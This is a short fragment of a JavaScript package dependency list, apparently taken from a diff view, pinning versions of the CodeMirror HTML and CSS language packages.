"@codemirror/lang-html": "6.4.11",
|
|
23
23
|
"@codemirror/lang-css": "6.3.1",
|